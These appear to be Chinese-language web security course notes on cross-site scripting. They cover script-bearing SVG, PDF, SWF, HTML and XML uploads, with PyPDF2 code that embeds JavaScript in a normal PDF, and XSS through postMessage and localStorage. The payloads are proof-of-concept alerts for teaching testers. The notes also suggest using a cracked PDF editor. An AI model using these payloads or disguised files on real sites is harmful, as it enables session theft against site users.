知識點:
1、Web攻防-XSS跨站-文件類型-html&pdf&swf&svg&xml
2、Web攻防-XSS跨站-功能邏輯-postMessage&localStorage
一、演示案例-WEB攻防-XSS跨站-文件類型觸發XSS-SVG&PDF&SWF&HTML&XML等
1、SVG-XSS
SVG(Scalable Vector Graphics)
是一種基于XML
的二維矢量圖格式,和我們平常用的jpg/png
等圖片格式所不同的是SVG
圖像在放大或改變尺寸的情況下其圖形質量不會有所損失,并且我們可以使用任何的文本編輯器打開SVG
圖片并且編輯它,目前主流的瀏覽器都已經支持SVG
圖片的渲染。
<svg xmlns="http://www.w3.org/2000/svg" version="1.1"><circle cx="100" cy="50" r="40" stroke="black" stroke-width="2" fill="red" /><script>alert(1)</script>
</svg>
通過文件上傳功能上傳一個SVG
文件(該文件已經提前植入XSS
代碼),然后在訪問這個上傳后的svg
地址即可觸發上圖效果
2、PDF-XSS
制作工具:迅捷PDF編輯器試用版
(最好網上找破解版,然后導入其他正常的pdf
,在正常的pdf
插入js
動作)
1、創建PDF
,加入動作JS
2、通過文件上傳獲取直鏈
3、直鏈地址訪問后被觸發
利用python創建一個含有XSS的PDF文件
from PyPDF2 import PdfReader, PdfWriter
# 創建一個新的 PDF 文檔
output_pdf = PdfWriter()
# 添加一個新頁面
page = output_pdf.add_blank_page(width=72, height=72)
# 添加js代碼
output_pdf.add_js("app.alert('123');")
# 將新頁面寫入到新 PDF 文檔中
with open("xss.pdf", "wb") as f:output_pdf.write(f)
使用python3
運行這個python
文件即可在當前目錄下生成一個XSS.pdf
文件,用瀏覽器打開這個pdf
即可觸發js
代碼
參考地址:https://www.bmabk.com/index.php/post/151955.html
和正常PDF綁定from PyPDF2 import PdfReader, PdfWriter
# 打開原始 22.PDF 文件
input_pdf = PdfReader("22.pdf")
# 創建一個新的 PDF 文檔
output_pdf = PdfWriter()
# 將現有的 PDF 頁面復制到新文檔
for i in range(len(input_pdf.pages)):output_pdf.add_page(input_pdf.pages[i])
# 添加 javaScript 代碼
output_pdf.add_js("app.alert('123');")
# 將新 PDF 文檔寫入到文件中
with open("xssplus.pdf", "wb") as f:output_pdf.write(f)提前準備好一個22.pdf文件,與當前py腳本放在同一個目錄下,運行該py腳本即可在當前目錄下生成一個xssplus.pdf
3、SWF-XSS
制作工具:Adobe Flash Professional CS6
1、新建swf
文件(SWF
文件是Flash
動畫文件格式)
2、F9
進入代碼區域
3、屬性發布設置解析(root
指當前swf
文件)
//取m參數
var m=_root.m;
//調用html中Javascript中的m參數值
flash.external.ExternalInterface.call(m);
觸發:?m=alert(/xss/)
實戰中如何利用
1.通過文件上傳自己制作的swf
文件然后去訪問執行
2、找到目標上存在的swf
文件進行反編譯后搜索關鍵字找xss
漏洞
反編譯項目:JPEXS Free Flash Decompiler
用JPEXS Free Flash Decompiler
工具打開這個swf
文件
測試swf
文件xss
安全性:
1、反編譯swf
文件
2、查找觸發危險函數
3、找可控參數訪問觸發
xss
一是指執行惡意js
,那么為什么說flash xss
呢?是因為flash
有可以調用js
的函數,也就是可以和js
通信,因此這些函數如果使用不當就會造成xss
。常見的可觸發xss
的危險函數有:getURL,navigateToURL,ExternalInterface.call(最多),htmlText,loadMovie
等等
4、HTML-XSS
單純在HTML代碼中寫XSS代碼即可
<script>alert(123)</script>
5、XML-XSS
XML
文件本身不能執行JavaScript
代碼,XML
中可以加載外部的資源方式來觸發XSS
。
流程:通過文件上傳上傳x.xml
文件,得到x.xml
文件路徑,然后在上傳一個xss.xml
文件,代碼中指向x.xml
文件的路徑,瀏覽器訪問xss.xml
就會觸發x.xml
中的xss
。
創建一個x.xml文件,內容如下:
<?xml version="1.0" encoding="iso-8859-1"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/">
<html><body>
<script>alert(/xss/);</script>
</body></html>
</xsl:template>
</xsl:stylesheet>
然后對其進行引用:
創建一個xss.xml文件,內容如下:
<?xml version="1.0" encoding="iso-8859-1"?>
<?xml-stylesheet type="text/xsl" href="http://127.0.0.1/x.xml"?>
<test></test>
二、演示案例-WEB攻防-XSS跨站-功能邏輯觸發XSS-PostMessage&LocalStorage
1、PostMessage XSS
一個用于在網頁間安全地發送消息的瀏覽器API
。它允許不同的窗口(例如,來自同一域名下的不同頁面或者不同域名下的跨域頁面)進行通信,而無需通過服務器。通常情況下,它用于實現跨文檔消息傳遞(Cross-Document Messaging
),這在一些復雜的網頁應用和瀏覽器插件中非常有用。
安全原因:當發送參數可控且接收方處理不當時,將導致XSS
模擬漏洞挖掘場景
打開http://192.168.1.4:82/60/receive.html
分析源碼
根據頁面源碼寫一個xss.html
文件上傳上去來控制msg
觸發XSS
黑盒挖掘
如何去挖這種隱藏比較深的漏洞,這里強推一個國外白帽寫的谷歌瀏覽器插件:
https://github.com/fransr/postMessage-tracker安裝之后,只要是當前頁面創建了message事件監聽,這個插件就會定位到其代碼。
白盒挖掘
找代碼中此操作類函數及關鍵字分析
復盤:https://mp.weixin.qq.com/s/M5YIkJEoHZK6_I7nK6aj5w
2、localStorage型xss(存儲型Xss升級版)
Web
應用使用localStorage
在用戶瀏覽器中存儲數據。localStorage
允許網頁在本地存儲鍵值對,這些數據可以在瀏覽器關閉后仍然保留,并且在同一域名下的不同頁面之間共享。當應用程序從localStorage
中讀取數據并將其顯示在頁面上時,如果沒有對數據進行充分的驗證和過濾,攻擊者就有可能通過修改localStorage
中的數據來注入惡意腳本實現XSS
。
安全原因:當localStorage可控且有頁面有操作其數據,將導致XSS
黑盒挖掘:尋找輸入點(如表單、搜索框、評論區等),構造測試用例找頁面調用
白盒挖掘:查找與localStorage相關的代碼段分析數據存儲及數據讀取
挖掘:先看目標應用localStorage
1、先找能控制的鍵名鍵值(怎么找)
2、再找對鍵名鍵值做輸出操作(怎么找)
或者也可以從js
里搜索userData
關鍵字找誰調用了這個值